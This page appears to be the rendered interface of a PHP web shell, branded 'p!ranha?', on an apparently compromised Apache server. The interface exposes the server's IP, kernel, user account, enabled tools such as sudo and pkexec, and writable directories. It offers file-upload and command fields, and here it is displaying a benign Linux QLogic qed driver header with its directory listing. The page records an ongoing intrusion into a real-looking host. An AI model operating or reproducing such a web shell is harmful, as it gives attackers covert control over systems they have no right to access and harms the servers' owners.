p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/modules/3.10.0-1160.119.1.el7.x86_64/build/include/linux/qed/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/lib/modules/3.10.0-1160.119.1.el7.x86_64/build/include/linux/qed/qed_iov_if.h
/* QLogic qed NIC Driver
 * Copyright (c) 2015-2017  QLogic Corporation
 *
 * This software is available to you under a choice of one of two
 * licenses.  You may choose to be licensed under the terms of the GNU
 * General Public License (GPL) Version 2, available from the file
 * COPYING in the main directory of this source tree, or the
 * OpenIB.org BSD license below:
 *
 *     Redistribution and use in source and binary forms, with or
 *     without modification, are permitted provided that the following
 *     conditions are met:
 *
 *      - Redistributions of source code must retain the above
 *        copyright notice, this list of conditions and the following
 *        disclaimer.
 *
 *      - Redistributions in binary form must reproduce the above
 *        copyright notice, this list of conditions and the following
 *        disclaimer in the documentation and /or other materials
 *        provided with the distribution.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
 * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
 * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
 * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
 * BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
 * ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
 * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
 * SOFTWARE.
 */

#ifndef _QED_IOV_IF_H
#define _QED_IOV_IF_H

#include <linux/qed/qed_if.h>

/* Structs used by PF to control and manipulate child VFs */
struct qed_iov_hv_ops {
	int (*configure)(struct qed_dev *cdev, int num_vfs_param);

	int (*set_mac) (struct qed_dev *cdev, u8 *mac, int vfid);

	int (*set_vlan) (struct qed_dev *cdev, u16 vid, int vfid);

	int (*get_config) (struct qed_dev *cdev, int vf_id,
			   struct ifla_vf_info *ivi);

	int (*set_link_state) (struct qed_dev *cdev, int vf_id,
			       int link_state);

	int (*set_spoof) (struct qed_dev *cdev, int vfid, bool val);

	int (*set_rate) (struct qed_dev *cdev, int vfid,
			 u32 min_rate, u32 max_rate);

	int (*set_trust) (struct qed_dev *cdev, int vfid, bool trust);
};

#endif
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
September 29 2025 07:01:23
0 / 0
0755
common_hsi.h
46.56 KB
November 06 2023 09:15:52
0 / 0
0644
eth_common.h
14.167 KB
November 06 2023 09:15:52
0 / 0
0644
fcoe_common.h
24.854 KB
November 06 2023 09:15:52
0 / 0
0644
iscsi_common.h
49.865 KB
November 06 2023 09:15:52
0 / 0
0644
iwarp_common.h
2.048 KB
November 06 2023 09:15:52
0 / 0
0644
qed_chain.h
19.602 KB
November 06 2023 09:15:52
0 / 0
0644
qed_eth_if.h
10.395 KB
November 06 2023 09:15:52
0 / 0
0644
qed_fcoe_if.h
4.007 KB
November 06 2023 09:15:52
0 / 0
0644
qed_if.h
33.266 KB
November 06 2023 09:15:52
0 / 0
0644
qed_iov_if.h
2.124 KB
November 06 2023 09:15:52
0 / 0
0644
qed_iscsi_if.h
7.142 KB
November 06 2023 09:15:52
0 / 0
0644
qed_ll2_if.h
7.247 KB
November 06 2023 09:15:52
0 / 0
0644
qed_rdma_if.h
18.604 KB
November 06 2023 09:15:52
0 / 0
0644
qede_rdma.h
3.026 KB
November 06 2023 09:15:52
0 / 0
0644
rdma_common.h
2.385 KB
November 06 2023 09:15:52
0 / 0
0644
roce_common.h
2.451 KB
November 06 2023 09:15:52
0 / 0
0644
storage_common.h
4.955 KB
November 06 2023 09:15:52
0 / 0
0644
tcp_common.h
7.864 KB
November 06 2023 09:15:52
0 / 0
0644